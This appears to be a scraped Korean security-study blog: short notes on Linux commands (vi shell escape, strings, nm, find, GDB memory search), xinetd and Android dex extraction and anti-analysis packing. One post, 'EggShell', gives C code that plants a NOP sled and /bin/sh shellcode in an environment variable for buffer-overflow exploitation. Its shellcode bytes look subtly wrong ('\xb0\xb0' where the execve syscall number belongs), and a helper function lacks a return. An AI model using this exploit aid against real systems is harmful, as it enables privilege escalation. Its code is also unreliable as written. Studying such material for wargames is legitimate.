vi editor 에서 !의 용도


 !는 외부의 쉘을 실행시켜주는 역할을 함


 !/bin/bash => bash 를 실행해줌

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Theory] Kernel  (0) 2018.01.06
[Command] dig  (0) 2017.12.29
[Command] GDB Find  (0) 2017.12.29
[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
  Strings 명령어를 이용하면 바이너리 내 포함된 문자열을 확인 하실 수 있습니다. 

  ex) strings [Binary Path]

 

 

'0x002 OperatingSystem > 04. Android' 카테고리의 다른 글

[Command] nm  (0) 2017.12.29
[Tip] Dex 추출 방법  (0) 2017.12.29
[Tip] 분석 방지 솔루션 우회  (0) 2017.12.29
[Command] ADB  (0) 2017.12.29
[Theory] 동적 디버깅  (0) 2017.12.29

 find [/sn] Start Address + len, val1 [val2, ......]
 find [/sn/ Start Address, End Address, val1, [val2, ....]

https://sourceware.org/gdb/onlinedocs/gdb/Searching-Memory.html

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Command] dig  (0) 2017.12.29
[Tip] vi editor  (0) 2017.12.29
[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29

 환경 변수에 bash shell을 실행하는 Shell Code를 등록 한 뒤 주소를 출력 해주는 EggShell 코드입니다. 공격을 하고자 하는 위치에 EggShell 의 결과 주소값을 덮어 쓰면 쉘을 획득할 수 있습니다.

 출처 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90

char shellcode[] = "\x31\xc0\x31\xd2\xb0\xb0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";


unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

int main(int argc, char * argv[])
{
        char *ptr, *superSH;
        char shAddr[DEFAULT_ADDR_SIZE + 1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr, addr;
        int offset = DEFAULT_OFFSET;
        int i, supershLen = DEFAULT_SUPERDK_SIZE;
        int chgDec[3];

        if( !(superSH = malloc(supershLen)))
        {
                printf("Malloc() Failed \n");
                exit(0);
        }

        addr = get_sp() - offset;
        printf("Address : 0x%8x \n", addr);

        ptr = superSH;

        for(i = 0; i< supershLen - strlen(shellcode) - 1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i< strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
        putenv(superSH);

        system("/bin/bash");


}

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] vi editor  (0) 2017.12.29
[Command] GDB Find  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29

바이너리에 포함된 오브젝트의 심볼 목록을 확인하고 싶을때 사용한다.

ex)
nm [Binary Path] | head

 

'0x002 OperatingSystem > 04. Android' 카테고리의 다른 글

[Command] Strings  (0) 2017.12.29
[Tip] Dex 추출 방법  (0) 2017.12.29
[Tip] 분석 방지 솔루션 우회  (0) 2017.12.29
[Command] ADB  (0) 2017.12.29
[Theory] 동적 디버깅  (0) 2017.12.29

xinetd( extended internet daemon )는 오픈 소스 슈퍼 서버 데몬으로 시스템에서 작동하며 인터넷 기반 연결을 관리 한다. inetd 의 대체 하여 강력한 보안 기능을 제공한다. xinetd 는 네트워크로 들어오는 요청을 듣고 거기에 맞는 서비스를 실행시킨다.

xinetd 의 기본 설정 파일은 /etc/xinetd.conf 이며 서비스의 설정은 /etc/xinetd.d 에 저장된다.

 설정 파일 예시는 다음과 같다.



disable : 서비스 활성화 여부 / 활성화를 위해서는 no 로 변경한다.

type : 서비스가 xinetd 인 경우 INTERNAL, 원격 프로시저 호출인 경우 RPC, 목록에 없는 경우 unlisted

id : 고유 식별자

socket_type : stream, dgram, raw

user : 서비스의 소유자


자세한 사항은 http://www.xinetd.org/ 를 참고한다.


출처 : WiKi

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Command] GDB Find  (0) 2017.12.29
[Tip] EggShell  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29
[Command] ln  (0) 2017.12.29

리눅스에서 여러 명령 한번에 실행하기!


 명령; 명령;


ex) ls -al; ls -al;

 => ls -al 이 두번 실행됨.

 

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Command] Find  (0) 2017.12.29
[Command] ln  (0) 2017.12.29
[ShellCode] Bash Shell Code  (0) 2017.12.29

Linux & Unix 시스템에서 검색 동작을 수행하는 명령어 이다.

find [Path] [Option] [Target] 형태로 사용한다.

 ex) find / -user sskim 2> /dev/null
 -> 전체 경로에서 User Name == sskim 을 검색하고 에러메시지는 /dev/null 로 보낸다.

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] ln  (0) 2017.12.29
[ShellCode] Bash Shell Code  (0) 2017.12.29

  cat /proc/[PID]/maps 경로를 통해 프로세스 메모리 맵 확인이 가능하다. 메모리 맵을 보면 특정 파일을 생성 및 삭제 하거나 특정 영역에 파일을 생성한 기록을 확인 할 수 있다. 이 기록을들 바탕으로 스크립트를 작성하여 분석하고자 하는 파일을 추출 할 수 있다. 이렇게 수집된 파일들은 .ELF 헤더 정보를 가지고 있다. 이 파일에서 .dex 위치를 검색하여 처음부터 .dex 가 위치된 부분까지 삭제 한 뒤 .dex 파일로 저장한 뒤 분석을 진행한다.

'0x002 OperatingSystem > 04. Android' 카테고리의 다른 글

[Command] Strings  (0) 2017.12.29
[Command] nm  (0) 2017.12.29
[Tip] 분석 방지 솔루션 우회  (0) 2017.12.29
[Command] ADB  (0) 2017.12.29
[Theory] 동적 디버깅  (0) 2017.12.29

 안드로이드 환경에 맞게 제작된 프로그램은 쉽게 디컴파일 되기 때문에 디컴파일 되더라도 프로그램의 기능이나 흐름을 파악하기 힘들도록 패키지나 클래스, 메소드 이름 등을 난독화 한다.
 다른 방법으로 실제 작동을 하는 프로그램은 암호화 하여 저장 한 뒤 랩퍼 프로그램을 통해 실제 동작하는 프로그램을 복호화 하는 방법을 사용한다.

'0x002 OperatingSystem > 04. Android' 카테고리의 다른 글

[Command] nm  (0) 2017.12.29
[Tip] Dex 추출 방법  (0) 2017.12.29
[Command] ADB  (0) 2017.12.29
[Theory] 동적 디버깅  (0) 2017.12.29
[Theory] 안드로이드 필수 구성 요소  (0) 2017.12.29

+ Recent posts